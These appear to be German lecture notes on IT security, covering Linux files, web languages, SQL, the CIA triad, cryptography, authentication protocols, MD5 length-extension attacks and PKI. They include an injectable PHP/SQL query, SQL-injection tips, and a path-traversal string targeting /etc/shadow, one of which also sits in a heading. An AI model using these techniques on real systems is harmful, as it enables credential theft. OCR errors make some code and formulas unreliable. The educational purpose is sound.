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1 Grundlagen

1.1 Linux Grundlagen
1.1.1 Wichtige Systemdateien

In /etc/passwd (der Name ist anscheinend historisch bedingt) werden die Nutzer verwaltet. Die Einzelnen Eintrage in
der Datei sind folgendermafien aufgebaut:

name:x:UserID:GruppenlD:comment:homedirectory:logindirectory

Wichtig dabei ist, dass Root als ID jeweils eine O hat.
Die Passworter liegen nun in einer weiterer Datei, namlich /etc/shadow. Die Einzelnen Eintrage in der Datei sind
folgendermagien aufgebaut:

Username : Hash-Code : Timestamps
mit Hash-Code: $ {1,2,3,4,5,6} $ 8-Byte Salt $ Passwort-Hash

Hierbei werden die Passworter aus sicherheitsgriinden nicht direkt gespeichert, sondern nur ein daraus resultierender
Hash.

1.1.2 Environment Variablen

Jeder Prozess hat ein Environment dem Varialben zugeordnet sind. Diese Variablen enthalten wichtige Infos tiber das
System, z.b. Pfad des Home Verzeichnisses. Zudem spezifizieren diese Variablen auch, wie sich der Prozess verhalt.
Man kann die Environment Variablen als Parameter einem Prozess mitgeben, ansonsten erbt das Programm die
Environment Variablen des Eltern Prozesses. Wenn man einfach ein Programm im Terminal startet, so erbt das meist
einfach die Environment Variablen des Bash-Prozesses. Die Variablen werden tibrigens als String Array gespeichert.
Mit <export NAME = “Inhalt als String!"> kann man eine Environment Variable im Terminal erzeugen. Mit echo $
NAME kann man den Inhalt ausgeben lassen. Startet man ein neues Terminal ist der Inhalt logischerweise wieder weg,
weil Bash-Prozess beendet.

1.2 Grundlagen zum Web

1.2.1 Server Client Modell

Das Server Client Modell beschreibt die Kommunikation zwischen den Nutzern die eine Webseite anfordern (Clients)
und denjenigen die eine Webseite zur Verfligung stellen (Server). Dies sieht folgendermaf3en aus:

HTTP-Request

Client |—— 4 HTTP
Brwoser ™——___ _—]Server

HTTP-Response

Ein Client schickt dabei eine HTTP Anfrage an den Server, dieser Verarbeitet diese und berechnet den mitgelieferten
Skriptcode (z.b. Fibonacci), erstellt daraus die Webseite fir den Client und verschickt diese dann. HTTP und die
verschliisselte Variante HTTPS sind Protokolle die zur Ubertragung von Daten zwischen Browsern und Server verwendet
wird.

PREITY ST 1T
WHAT IS IT? ’!
TVE GOT ABUNCH OF VIRTUAL WINDOWS THERE. ARE MAILTROTANG, WARHOL Ligrws, | | YOU KNOW, — GODD MORNMG,
HACHINES NETWORKED TOGETHER, HOCKED UP | | AND ALLSORTS OF EXOTIC FoLroretiics. | | NORMALPECRE  BLASTER. ARE
TO AN INCOMING PIPE FROM THE NET. THEY A MONITORING SYSTEM ADDS AND WIPES TUST HAVE. YOU AND
EXECUTE EVAIL ATTACHIENTS, SHARE FiLES, | | MACHINES AT RANDOM, THE. DISPLAY SHs ﬂt)unﬁ[ms “52 ""M’“R
AND HAvE NDSECLRWFRTCHEE THE VIRUSES 5 THEY MOVE THROUGH THE o
NETWORK . / GROUNG AND ALONG
— men mgv STRUGGLING.
HAVE PRACTICALLY
unos A Gmo VIRUS?
EVERY VIRUS. YOU AREL YES, Y0U ARE!

https://xkcd.com/350/
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1.2.2 HTML

HTML-Dokumente sind die Grundlage des World Wide Webs. Damit werden elektronische Dokumente strukturiert
und folglich auch Webseiten beschrieben. Die Grundlage von HTML sind Elemente, welche meist duch ein 6fflnendes
und schliefendes tag definiert werden. Folgender Code soll eine kurze Einftihrung geben:

ro # Zeigt an, dass es sich um HTML handelt
1 <!DOCTYPE html>
2 # tag, welches den Anfang des Dokumentes definiert
3 <html>
4 # Beschreibt die Website, z.b. Titel, Suchmaschinenbeschreibung, etc.
5 <head>
6 # Zeigt Name der Webseite an
7 <title>Katzenbilder</title>
8 </head>
9 # Definiert ein Element, welches auf der Website angezeigt wird
10 <body>
11 # Laed ein Bild
12 <img src="Katzenbild.png" alt="Testbild">
13 </body>
14 # Mit div wird einfach ein Bereich zusammengefasst, fuer z.b. CSS
15 <div id = "main">
16 # Skript wie z.b. Javascript ausfuehren
17 <script>alert (Welcome) ; </script>
18 # PHP Ausfuehren:
19 <?php echo "Hello"; 72>
20 # Das form-tag wird verwendet um Userinput zu erhalten und abzuspeichern
21 <form action="<php-Code>" method="php Methode">
22 # Hier steht weiterer Code
23 </form>
24 </div>
25 </html>
L

Um nun mittels Skipte auf die einzelnen Elemente eines HTML-Dokumentes zuzugreifen gibt es die HTML-DOM
Theorie. Nach dieser kann das HTML Dokument als Baumstruktur dargestellt werden und anhand von ID und Parent
und Childs auf die einzelnen Elemente anhand von Skripten zugegriffen werden.

<OV> Q: HOW DO YOU ANNOY A WEB DEVELOPER?</SPAN >

https://xkcd.com/1144/

1.2.3 Tipps fiir den Browser

Die Entwickleroption fiir Browser ist ein gutes Tool um Angriffe zu erkennen und durchzufiihren. Zu dieser gelangt
man anhand des Mentis oder mittels F12.

Inspektor

Der Inspektor zeigt den Code des Clients, welcher die Webseite anzeigt und an einen Server geschickt werden kann.
In diesem ist es moglich den Code zu verdndern, sodass die Webseite anders angezeigt wird oder der Server einen
Request bekommt, den er fehlerhaft bearbeitet. Dies ist besonders Hilfreich fiir Code Injektions Angriffe.

Netzwerkanalyse

Greift der Server oder die Webseite auf externe Dienste zu, so kann mittels der Netzweranalyse eingesehen werden,
welche Daten zwischen den einzelnen Akteuren verschickt werden. Die geht nur solange, wie die Daten unverschliisselt
sind.

1.3 Programmiersprachen und was gerne eine wire
1.3.1 Javascript

Javascript ist eine Programmiersprache die sich besonders bei Webanwendung standartisiert hat. Javascript Code
wird dabei auf dem Rechensystem des Clients ausgefiihrt und unterstiitzt Webseiten, damit diese z.b. dynamisch
Veranderbar sind oder Zeugs berechnen kénnen. Innerhalb einer Website sieht Javascript beispielsweise so aus:
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0 <!DOCTYPE html>
1 <html>
2 Ce
3 # Javascript bereich startet:
4 <script>
5 # Code mit Javascript Syntax
6 x = 42+1337;
7 # Auf der Webseite eine Meldung anzeigen:
8 alert (x)
9 </html>
N
1.3.2 PHP

PHP ist eine Skriptsprache die besonders bei Webanwendungen standartisiert ist. Dabei wird der in HTML Code
eingebettete Code meist Serverseitig berechnet. Dadurch werdn HTML-Dateien erstellt, die dann dem Client geschickt

werden kénnn. Innerhalb einer Website sieht PHP beispielsweise so aus:
g

0 <!DOCTYPE html>
1 <html>
2 .
3 # PHP Bereich startet:
4 <?php
5 # Auf der Webseite etwas anzeigen
6 echo "Hallo, ich bin ein PHP-Skript!";
7 # Userinput erhalten
8 <input type="text" class="span3" name="user" placeholder="Username" />
9 Susername = $_GET["user"];
10 .
11 # SQL Anfage mit PHP:
12 Sqgry = "SELECT names FROM users WHERE name =’" S$username "’ ";
13 Sres = mysqgl_query ($Sqry) ;
14 ?>
15 </html>
L
1.3.3 SQ@QL

Mittels SQL werden Datenbanken, dass erstellen dazugehériger Eintrage und das auslesen dieser verwaltet. Wichtige
Befehle:

Tabelle Erstellen: CREATE TABLE < Name > ( < Attribute > );

Tabelle Loschen: DROP TABLE < Name >;

Werte einfigen: INSERT INTO < Name > VALUES ( < Attributewerte > );

Werte verandern: UPDATE < Name > ... SET < Attributname > = < Attributwert>;

Werte 16schen: DELETE FROM < Name > WHERE < Attributname > = < Attributwert>;

Werte Abfragen: SELECT < Attributname > FROM < Name > WHERE < Attributname > = < Attributwert>;
Tabellen kombinieren: < SQL Statement 1 > UNION < SQL Statement 2 >

Beispiel
o CREATE TABLE customers (id int, name varchar(20). adress varchar(30));
e INSTERT INTO customers VALUES (42, 'Big Daddy’, ’Erlangen);
e SELECT id, name FROM customers WHERE adress = ’Erlangen’;

Ein weiteres wichtiges Tool fiir SQL-Injections ist der Kommentar. Kommentare werden mit - - * angegeben, wobei
nach den beiden auseinanderfolgenden Bindestrichen ein Leerzeichen folgt. Zudem kann es teilweise ntitzlich sein
mit 1=0 eine Abfrage abzubrechen. Z.b. kann man damit bei einem Union zwischen zwei SELETCTS eines abbrechen,
sodass nur die andere Tabelle ausgegeben wird.
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2 Einordnung des Begriffs Sicherheit

2.1 Das CIA-Prinzip

Sicherheit bedeutet, dass die Interessen, Ziele und Anforderungen (z.b. Bewegungsfreiheit, Unversehrtheit, Briefge-
heimnis) eines System gewéhrleitet werden. Sicherheitsmechanismen kénnen Angriffe abwehren oder den Schaden
einddmmen. Diese miissen aber auch regelméafig tberpriift werden, damit diese auch durchgehend funktionieren.
Zudem sollte der Sicherheitsaufwand auch dem Risiko entsprechen. Die Sicherheitsinteressen eines Systems lassen
sich mit dem CIA-Prinzip zusammenfassen:

C I A

Vertraulichkeit Integritat Verftigbarkeit
(confidentiality) (integrity) (availability)

Vertraulichkeit

e Vertraulichkeit: Resource steht nur bestimmten Personen zur Verfligung
e Anonymitat: Personen, welche eine Resource beniitzen, sind unbekannt
e Unbeobachtbarkeit: Personen und Benutzung einer Resource sind fir Dritten unbekannt

Integritit
e Integritat: Die Resource enthélt, was man erwartet und wurde nicht unerlaubt verandert

e Authentizitat: Die Resource kommt nachweislich vom richtigen Absender
e Nicht Abstreitbar: Die Identitat des Absenders ist drittem beweisbar

Verfiigbarkeit
e Verflighbarkeit: Wenn eine Resource benétigt wird, steht diese zur Verfigung
e Zuverlassigkeit: Wenn eine Resource benétigt wird, funktioniert diese auch

Nun gibt es noch weitere Aspekte die zum Thema Sicherheit gehéren. Im folgenden werden die wichtigsten genannt:

Weitere Sicherheitsaspekte

Gefahren:

e Zufallige Gefahren: Fehler, Ungliicke, Bugs

e Boswillige Gefahren: Absichtlich von einem Gegenspieler erzeugt
Angreifermodell:

e Rolle (Aufienstehender, Benutzer, etc.)

e Verbreitung (Was kann er tiberwinden)
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e Verhalten (aktiv, passiv)

e Starke (Intelligenz, Rechenkapazitat, etc.)
Klassische Sicherheitsmechanismen:

o Ausweise / Passworter (Integritat)

e Backups (Verfugbarkeit)

e Sichtschutzmauer (Vertraulichkeit)

HAT ; \WHAT COMPUTER
HACKERS BRIEFLY Tookc | | LAHET PEORLE HEAR:
DOWN THE WEBSITE OF | | SOMEONE HACKED

HE CIA YESTERDAY... || INTO THE COMPUTERS SOMEONE TeRE COWN
HeC OF HE CYAH A POSTER HUNG UP
- & THe CIA.!

bl 2

https://xkcd.com/932/

2.2 Cyper Sicherheit

Durch die Vernetzung von Computern ist der Cyper Space entstanden. Dieses komplexe Gebilde bringt seine eigenen
Gesetze mit sich:

Die neues Gesetze des Cyberspace

Gesetz der Automatisierbarkeit:
e Naturph&nomene kénnen im Cyberspace nachgebildet werden
e Digitale Objekte sind nur an programmierte Regeln gebunden
e Programmierte Regeln kénnen von Computern (schnell) ausgefiihrt werden
e Grofie Datenmengen kénnen effizient erhoben und verarbeitet werden
Gesetz der raumlichen Entgrenzung:
e Daten und Programme sind geographisch nicht gebunden
e Hardware-Virtualisierung erméglicht Entkopplung von Programmen und physischer Ausflihrumgebung
Gesetz der Kopierbarkeit:
e Beliebige Artefakte im Cyberspace kénnen perfekt kopiert werden
e Identitatsinformationen (Ausweise) kopierbar
Gesetz der Komplexitit:
e Ein Rechner hat einen riefigen Zustandsraum (tibersteigt Anzahl der Atome im Universum)
e Cyberspace wird durch vergessene/nicht verwendete Daten vermiillt

Durch diese Gesetze entstehen neue Gefahren. Datenmengen kénnen durch das Gesetz der Kopierbarkeit gestohlen
werden, aber ebenso auch verbreitet werden (Begtinstigt SPAM). Angriffe konnen automatisiert werden (Begiinstigt
Bruteforce Angriffe). Datenpackete kénnen abgefangen und verandert werden (Beglinstigt Phishing und Man in the
Middle Angriffe). Schlieflich ist das System auch so komplex, dass immer die Gefahr von unbekannten Sicherheits-
Iiicken in Programmen, Modulen, Webseiten, etc. vorhanden ist (Begtinstigt Maleware). Um sich nun schiitzen zu
koénnen, kann man anhand des CIA-Prinzipes die Schutzziele kategorisieren:
CIA-Prinzip im Cyberspace
Vertraulichkeit:

e Daten nur fur Sender und Empfanger lesbar
Integritat:

e Daten von Dritten nicht veranderbar
Verfiigbarkeit:

e Authentizitat: Der Sender ist dem Empfanger bekannt und dies kann tiberpriift werden (Achtung: Pishing-

Websites oder gefackte Email-absender)
e Verfugbarkeit: Versendete Daten werden nicht von Dritten verlangsamt oder abgefangen/geléscht

Einige dieser Prinzipien kénnen im Cyberspace anhand von Kryptographie sichergestellt werden.
Anmerkung: Daten reprasentieren Informationen, welche durch Interpretation wieder in Informationen umgewandelt
werden.
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3 Kryptographie

Die Kryptographie ist ein Werkzeug um mittels Schliisseln Klartexte derartig zu verdndern, dass nur ein ausgewahlter
Kreis an Personen aus dem Chiffretext wieder einen Klartext generieren kann.

CIA-Prinzip bei Kryptographie

e Zusicherung von Vertraulichkeit
e Zusicherung von Integritat
e Zusicherung von Verfligbarkeit NICHT moglich

Im Zuge der IT-Sicherheit sind besonders kryptographische Protokolle interessant. Diese werden folgendermafien
dargestellt:

Protokoll
A—> B calculate fib(30)
B : calculate fib(30)
B— A result : 832040

In der linken Spalte stehen dabei die Akteure, bzw. die Richtung in der eine Nachricht geschickt wird. In der rechten
Spalte steht die Berechnung bzw. die ausgetauschte Nachricht.

A CRYPTO NERDS WHAT WOULD
1 IMAGINATION : r ACTUALLY HAPPEN:

HIS LAFTOP'S ENCRYPTED. HIS LAPTOP'S ENCRYPTED.

LETS BUILD A MILLION-DOLLAR.
CLUSTER To CRACKIT.

N0 GooD! IT'S

DRUG HIM AND HIT HIM WITH
THIS $5 WRENCH UNTIL
HE TE.I-lS U5 THE PASSWORD.

U046 -BIT RSP\" GOT IT,

%Q

https://xkcd.com/538/
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3.1 Symmetrische Verschlii (->13) ttfmvoh

Das Hauptziel symmetrischer Verschliisselung ist die Zusicherung der Vertraulichkeit. Grundlegend gilt dabei:

e Beide Kommunikationspartner benutzen den gleichen Schltissel
e n Teilnehmern benétigen @ Schlussel
e Beispiele: AES, DES

Das Problem bei symmetrischer Verschliisselung ist, dass der Schliissel nicht ohne weiteres tiber eine 6ffentliche
Leitung ausgetauscht werden kann. Eine Moglichkeit dennoch den Schliissel auszutauschen bilden sogenannte
Schltisselverteilungszentralen, welche den Kommunikationspartner die Schltissel zur Verfligung stellen.

Eines der bekanntesten symmetrischen Verfahren ist das One-Time-Pad, welches auch Vernam Chiffre genannt wird:

One Time Pad

Sei ¢ der Chiffretext und m der Klartext:
e Gen: Zufilliger Schliissel der Lange n: k =
e Enc: c =m XOR k
e Dec: m =c XOR Kk

{0, 1}"

Dieses Verfahren gilt als informationstheoretisch perfekt sicher. Eine wichtige Rolle spielt dabei, dass der Schltissel
komplett zufallig gewahlt wird und genauso lang ist wie die Nachricht. Im Zuge dessen konnte man beweisen, dass
Verfahren, bei denen der Schliissel kiirzer ist als die Nachricht, nicht perfekt sicher sind. Dennoch werden in der
Praxis nicht perfekt sichere Verfahren verwendet, da zu grofie Schliissel einfach extrem unpraktisch sind.
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3.2 As’ymetrische Verschliisselung

Das Hauptziel asymmetrischer Verfahren ist die Sicherung der Integritat und Authentizitat. Grundlegend gilt dabei:

e Beide Kommunikationspartner benutzen unterschiedliche Schliissel, jeweils einen 6ffentlichen und einen
privaten

e n Teilnehmern bendtigen n Schltissel

e Beispiele RSA, ECC

Die Idee der assymetrischen Verfahren war revolutionir, da sich nun einfach und sicher Schliissel tiber einen
offentlichen Kanal austauschen liefen, beispielsweise anhand von Schliisselverteilungsdiensten. Die Grundlegende
Idee der assymetrischen Kryptographie geht aus dem Diffie Hellman Schlisselaustausch hervor:

Diffie-Hellman-Schliisselaustausch

Grundlage diskreter Logarithmus: n = g* mod p

Alice und Bob wahlen einen geheimen Schliissel kg, Kk

Beide einigen sich auf Primzahl p und nattirliche Zahl g

Beide berechnen ihren &ffentlichen Schliissel anhand des diskreten Logarithmus: pk = g* mod p
Beide berechnen gemeinsamen geheimen Schliissel: sk = pkk*’ = pk:“ mod p

Um nun das bekanntere Verfahren RSA zu verstehen benétigt man zunéchst einmal ein paar zahlentheoretische
Grundlagen:

Grundlegende Zahlentheorie

Eulersche Phi Funktion:
¢(n) gibt zu einer Zahl n alle teilerfremden Zahlen kleiner als n an. Bei Primzahlen ist das Ergebnis immer n-1.

Satz von Euler:
Seien a und n teilerfremde ganze Zahlen, so gilt

a®™ =1 mod n

Chinesischer RestKLASSENsatz:
Ein Werkzeug um eine Menge ahnlicher Kongruenzgleichungen zu 16sen.

Damit kann nun die Grundidee von RSA definiert werden:
Textbook RSA

Wahle zwei Primzahlen p, q

Berechne N=p-qund ¢(N)=(p—-1)-(g—1)

Wahle ein zu (p-1) und (g-1) teilerfremdes e, sodass 3 < e < ¢(N) gilt
Berechne d sodass e d = 1 mod ¢(N)

Offentlicher Schliisel (e, N) und privater Schliissel (d, N)
Verschlusseln: ¢ = m® mod N

Entschlasseln: m = ¢ mod N

RSA gilt als wohluntersucht sicher, da das zugrundeliegende Problem der Faktorisierung als schwierig gilt. Das RSA
Kryptosystem erfiillt die algebraischen Homomorphieeigenschaften beztiglich der Multiplikation x¢ - y¢ = (x - y)° =
ENC(x) - ENC(y) = ENC(x - y). Dadurch werden Chosen Cyphertext Angriffe ermoglicht.

Durch die Homomorphieeigenschaft wird aber auch anonyme digitale Bezahlung mittels blinder Signatur ermoglicht:
1. Die Bank generiert einen Testschltissel t fiir einen Betrag und schickt diesen A. A erzeugt zwei Zufallszahlen r und v
und berechnet w = v| | v (Konkationation von v). A schickt w - r' an die Bank. 2. Die Bank signiert die Daten von A und
erzeugt daraus w® - r anhand des Signaturschliissels s. Bank schickt dies an den Kunden und bucht das Geld vom
Konto des Kunden ab. Somit hat der Kunde nun digitale Wahrung erhalten. 3. Gibt A diesen Betrag B, so kann B die
Daten an die Bank schicken und die Bank gibt B den dazugehorigen Betrag (ohne dabei direkte Kentnisse tiber die
Verbindung von A und B zu haben, wodurch eine gewissen Anonymitit entsteht).
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3.3 Hashing und MACs

Eine Hashfunktion unterscheidet sich daher von symmetrischer und assymetrischer Verschliisselung, dass das
Ergebnis nicht reversibel ist. D.h. Aus dem Entstandenen Hash sollte es nicht méglich sein auf die Eingabe zurtickzu-
schliefen. Daher kann man Hash-Funktionen als eine Art Einwegfunktion vorstellen (deren Existenz ist tibrigens
noch nicht bewiesen). Bekannte Beispiele fur Hashfunktionen sind die SHA und MD Familien. Eine Hashfunktion
gewahrleistet zudem, manche besser als andere, die sogenannte kollisionsresistenz. D.h. fiir eine kryptographisch
geeignete Hashfunktion ist es sehr schwer zwei Eingaben zu finden, sodass diese den gleichen Hash generieren.
Message Authentification Codes (MAC) sind nun Codeblocke die an Nachrichten angehidngt werden um deren
Integritat und Authentizitit zu sichern. D.h. damit wird sichergestellt, dass die Nachricht unverandert ist und vom
richtigen Absender kommt. Zur erstellen der MACs hashed man meist die Nachricht (zur Sicherung der Integritat)
zusammen mit dem gemeinsamen Schliissel (zur Sicherung der Authentizitdt). Den erstellten Datenblock kann man
nun einfach an die Nachricht anhéngen.

Zur erstellen von MACs sollten kryptographisch sichere Hash-Funktionen verwendet werden, da diese Kollisiongs-
resistenz bieten. Ist dies nicht der Fall, wenn man z.b. XOR statt Hashen verwendet, so kann ein Angreifer leichter
einen gefalschten MAC erzeugen, wodruch die Kommunikation unsicher ist. Zudem ist XOR reversibel, wodurch es
moglich sein kann, dass ein Angreifer aus dem MAC auf den gemeinsamen Schliissel schliefen kann. Dies ist wegen
der Ahnlichkeit zu Einwegfunktionen beim Hashing nicht der Fall.
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3.4 Kryptographische < | — Angriffe

Angriffziele

e Total Break: Angreifer erhalt den Schliissel des Verfahrens

e Universal Break: Angreifer erhalt ein zum Schliissel dquivalentes Verfahren
e Selective Break: Angreifer kann ausgewéahlte Nachrichten entschltisseln

e Existential Break: Angreifer kann irgendwelche Nachrichten entschliisseln

Angriffstypen
Passive Angriffe:
e Ciphertext-Only-Attack: Angreifer sieht nur das Chiffrat
e Known-Plaintext-Attack: Angreifer kennt zu irgendeinem Text den Chiffretext
Aktive Angriffe:
e Chosen-Plaintext-Attack: Angreifer kann ausgewéahlte Nachrichten verschliisseln lassen
e Chosen-Chiphtertext-Attack: Angreifer kennt zu ausgewahlten Chiffren den Klartext

Angriffsarten

e Replay Angriff: Chiffre Nachrichten Abfangen und bei bedarf selbst schicken. Beispiel: Smarthome Lichtschal-
tung verwendet ein kryptographisches Protokoll, aber Nachricht fiir Lichanschalten ist immer gleich: Mit
einem Replay Angriff kann das Licht beliebig angeschalten werden. Mit Automatisierung und Ausschalten
kann man dann auch nen Rave starten

e Buchfithrungsangriff: Bei einem solchen Angriff kann ein Angreifer die Kommunikation abfangen, diese Daten
verarbeiten und zu einem beliebigen spateren Zeitpunkt wieder verwenden. Verhindert werden kann dies
durch Zeitstempel.

e Man in the Middle Angriff: Habe man zwei Akteure A und B die miteinander kommunizieren. Der Angreifer
gibt sich bei einem Man in the Middle Angriff fiir A als B und fiir B als A aus. Damit kann beispielsweise der
Schliisselaustausch bei einem assymetrischen Verfahren unterwandert werden, indem der Angreifer A und B
die selbst erstellten 6ffentlichen Schltissel zuspielt.
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3.5 Protokolle — zur Authentifikation : und Integritit

In den folgenden Protokollen werden zum einen Authentifikaitonsprotokolle betrachtet. Dabei mochte sich ein Akteur
A gegentiber B authentisieren. Genauer gesagt: A moéchte B eine Nachricht schicken, so dass B anschlieffend dann
und auch nur dann weif3, dass am anderen Ende des Kanals A steckt. Zudem anderen werden auch Protokolle zur
Integritét, also Unveranderlichkeit der Nachricht, betrachtet.

3.5.1 Symmetrische Protokolle

Zuerst werden Authentifizierungsprotokolle betrachtet, welche mittels symmetrischen Verfahren funktionieren. Dabei
ist k der gemeinsame Schllissel der beiden Parteien. Betrachte man sich zuerst dieses einfache Vorgehen:

Protokoll Authentifikation mit Replay

A—> B : ENC(42)
B : ok, falls fir empfangenen Wert y gilt y = 42

Dieses Protokoll ist nicht sicher, da es Replay Angriffe ermdglichen wiirde. Der angreifer kann namlich einfach die
Nachricht von A abfangen und sich danach immer wieder selbst als A ausgeben.

Um nun derartige Replay-Angriffe bei der Authentifizierung mit symmetrischen Verfahren zu verhindern benétigt man
Zufallszahlen innterhalb des Protokolls:

Protokoll Authentifikation ohne Replay

A : Wahle r zufallig
A— B : (r, ENCi(r))
B : ok, falls flir empfangenes yi, ys gilt DECy(y2) = Y1

Dieses Protokoll ist nun relativ sicher, ist aber weiterhin theoretisch angreifbar, da sich die Nachrichten beliebig
zerlegen und wieder zusammensetzen lassen. Die erfolgswahrscheinlichkeit hierbei ist aber eher gering.

Die oben genannten Angriffe erméglichen nun immernoch Buchfiihrungsangriffe. Um diese zu verhindern miissen
beide Akteure in das Protokoll eingebunden werden:

Protokoll Authentifikation ohne Buchfiihrung

B : Wahle r zufallig

B— A : r

A— B : ENCy.(r)

B : ok, falls fur empfangenes yi, ys gilt DECi(y) =1

Das Protokoll sieht zwar sicher aus, aber ein Angreifer kann hierbei einen Man in the Middle Angriff ausfiihren, bei
dem er A als eine Art Orakel verwendet, diesen also nutzt um die Daten von B zu verschluisseln (Chosen-Plaintext
Angriff). Dadurch ist das Protokoll unsicher, da sich ein Angreifer in diesem Fall als B ausgeben kann. Mit folgendem
Protokoll wird auch ein derartiger Angriff verhindert:

Protokoll Sicheres Symmetrisches Authentifikationsprotokoll

A—> B : Initiiere Authentisierung

B : Wahle r zufallig

B—- A : r

A— B : ENCy(r)

B : ok, falls fir empfangenes y;, ys gilt DECi(y) = r

Nun moéchte man zusatzlich die Integritat der Nachricht sicherstellen, welcher zur Authentifikation genutzt wird. Dazu
benétigt man Hash-Funktionen. Ein einfaches derartiges Protokoll sieht folgendermafen aus:
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Protokoll Authentifikation und Integritit mit Replay

A— B : (m, hash(k||m))
B : ok, falls fir empfangenes (y;, ys) gilt y» = hash(k||y;)

Hierbei ist die Integritat der Nachricht gesichert, insofern die Hash-Funktion kryptographisch sicher ist. Aber es
sind wieder Replay-Angriffe méglich, wodurch das Verfahren nicht sicher ist. Abschliefens wird noch ein Protokoll
vorgestellt, welches die Authentifikation mit Integritat erftillt und weder mit Replay, Buchfiihrung oder Man in the
Middle Angriffen geknackt werden kann:

Protokoll Sicheres Symmetrisches Authentifikationsprotokoll mit Integritiat

A— B : Initiiere Authentisierung

B : Wahle r zufallig

B— A : r

A—> B : ENCi{(m, hash(k||m||r))}

B : ok, falls fiir empfangenes DECy(m) = (y1, y2) gilt yo = hash(k||y;|Ir)

Das Protokoll hat zudem den Vorteil, dass die tibertragenen Daten nicht einfach in die Bestandteile zerlegbar sind,
wodurch diese nicht wahllos kombiniert werden kénnen und somit auch keine Moglichkeit besteht neuen Nachrichten
aus eben diesen Bestandteilen ungewollt zu erzeugen.

3.5.2 As’mmetrische Protokolle

Die Authentifikation ist bei assymetrischen Verfahren dhnlich nachweisbar wie bei symmetrischen Verfahren, nur
dass man nun halt zwei Schliissel hat.

Protokoll Authentifikation ohne Replay

A : Wiabhle r zufallig
A—> B : (. ENCApriv(r))
B : ok, falls fiir empfangenes y,, Yo gilt DECapun(Y2) = Y1

Auch die restlichen Verfahren kann man identisch wie die symmetrischen Verfahren aufbauen, nur das man bei den
assymetrischen Protokollen darauf achten muss mit den privaten und 6ffentlichen Schliissel zu ver- und entschliisseln.

3.6 Moderne Authentifikation ohne Length Extension Attacks%00%00/etc/shadow

Die Authentifikation mit den bisher vorgestellten Verfahren ist in der heutigen Anwendung unsicher. Die erstellten
Message Authentifications Codes MAC, also die gehashten Daten mit denen authentifiziert wird und die Integritat
sichergestellt wird, kénnen namlich mit Length Extension Angriffen gebrochen werden. Im Folgenden wird dazu das
MD?5 Verfahren analysiert und erlautert wie dieses gebrochen werden kann.

MD5-Verfahren in groben Ziigen

1. Aufteilung der Nachricht in m 512 Bit Blocke

2. Letzter Block wird durch Padding (Anhangen von Oen) auf 512 Bit gebracht

3. Initialisiere zusatzlich vier 32 Bit Zustandsregister

4. Wende pro Block eine nicht lineare Funktion auf den Block und die Zustandsregister an und tberschreibe
die Zustandsregister

5. Konkateniere die Zustandsregister und erhalte einen 128 Bit Hash

Wie dieser Algorithmus angegriffen werden kann wird nun anhand eines Beispieles erldutert. Gebe es eine Webseite,
welche authentisierten Nutzern den Downnload von Dateien erlaubt. Dazu benétigt der Server den Dateinamen/Ver-
zeichnis m und einen dazugehorigen MAC bestehtend aus einem secret k und m, sodass MAC(m) = h(k|lm) gilt. h ist
dabei das Hashverfahren MD5. Ein Angreifer geht nun folgendermafien vor:

Vorgehen des Angreifers

1. Fange m und MAC(k||m) ab

10
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2. Generiere m||m, mit m, als Zusatz des Angreifers
3. Generiere MAC' (k||m||m,) ohne Kenntnis von k

Dabei kann m||m, einfach erzeugt werden, indem man die letzten n gepaddeten bytes von m mit m, tiberschreibt. Den
neuen MAC erstellt man indem man den internen Zustand des Hashverfahrens am Ende der alten MAC wieder herstellt,
sodass insbesonders die Zustandsregister den alten MAC enthalten. Danach hasht man den angehdngten Teil m,
einfach drauf. Dadurch entsteht also MAC' (k|lm||m,). Im Beispiel des Servers kann man also /../../../../../etc/shadow
an m anhangen, den dazugehoérigen MAC erzeugen und somit die Passworter des Webservers bekommen.

Diese Length Extension Attacks kéonnen mit Keyed-Hash Message Authentication Codes HMAC verhindert werden.
Dabei erzeugt man zwei Konstanten ipad = 0x36 * Blocksize und opad = Ox5c * Blocksize die abhangig von einer
vom Verfahren festgelegten konstanten Blocksize erzeugt werden. Damit berechnet man schlielich den HMAC einer
Nachricht m mit Schliissel k folgendermafen:

HMAC(k, m) = hash((k XOR opad)||hash((k XOR ipad)|im))

3.7 Public Key Infrastruktur

Die Authentizitat einer Partei kann nun alternativ auch anhand von Zertifikaten gepruft werden. Zertifikate bescheinigt,
dass ein bestimmter 6ffentlicher Schltissel zu einer bestimmten Person gehort. Diese Zertifikate werden von einer
vertrauenswurdigen Instanz, der certification authority CA ausgestellt. Das Zertifikat fiir A sieht folgendermafen aus:

Zy = (A, Apub, eCApriU(hGSh(A”Apub)))

Die Verschliisselung des Hashes mit dem privaten Schliissel des CA sichert die Vertraulichkeit von Z,. Das dazugehoérige
Protokoll kann so aussehen:

Protokoll Authentifizierung mittels Zertifikaten

CA—- A : ecapriv(hash(AllApu,))

A : Erstelle Zy = (A, Apup. €capriv(hash(AllApup)))

A— B : Za

B : ok, falls fiir empfangenes (yi. Yz, ys) gilt ecapun(ys) = hash(y:llyz)

Nun kann es vorkommen, dass man auch das Zertifikat einer CA tiberpriifen méchte. Dadurch entstehen Zerifik-
tatsketten, da eine weitere CA der CA ein Zertifikat ausstellt. Gibt es nun tiber CA eine weitere CA’, so wird das
Zertifikat von CA mit dem Zertifikat von CA uberpruft. Ist CA die letzte Zertifizierungsinstanz, so wird diese root
certificat genannt und mittels des 6ffentlichen Schliissels tiberpruft. Gibt es in dieser Zertifikatskette ein unsicheres
Glied, so ist die ganze Kette(bzw. was hirachisch unter dem unsicheren Glied liegt) unsicher.

Eine Alternative zu dem vorgestellten hierachischen Modell sind Cross-Zertifizierungen. Dabei stellen sich zwei
Zertifizierungsstellen CAl und CA2 gegenseitig Zertifikate aus, sodass ein tibergreifendes Zertifikat Z{;) entsteht.
Anhand dieses Cross-Zertifikates kann ein Teilnehmer A von CA1l auch einen Teilnehmer B von CA2 uberpriifen: A holt
sich chle und kann damit CA2 priifen und dessen 6ffentlichen Key bekommen. Damit kann A dann das Zertifikat von
B uberprifen. Das Hauptproblem: Ist eine der Zertifizierungsinstanzen unsicher, sind alle unsicher: Unsicheres CA1l
kann beliebige Zertifikate und damit Identitaten erstellen, welchen die anderen Teilnehmer vertrauen. Ein weiteres
Problem: Es werden flir n-Teilnehmer dieser Cross-Zertifizierung n * (n-1) Zertifikate benétigt, d.h. sehr viel.
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3.8 Weiteres zu Kryptographie

Unterschiedliche kryptographische Systeme kann man nattrlich auch in Kategorien einteilen. Im folgenden sind 5
Kategorien von schwach bis stark aufgelistet:

Sicherheitsklassen

Geheim Gehalten: Meist schlechte kryptosysteme (Sicherheit eines Verfahrens beruht nicht auf geheimhaltung)
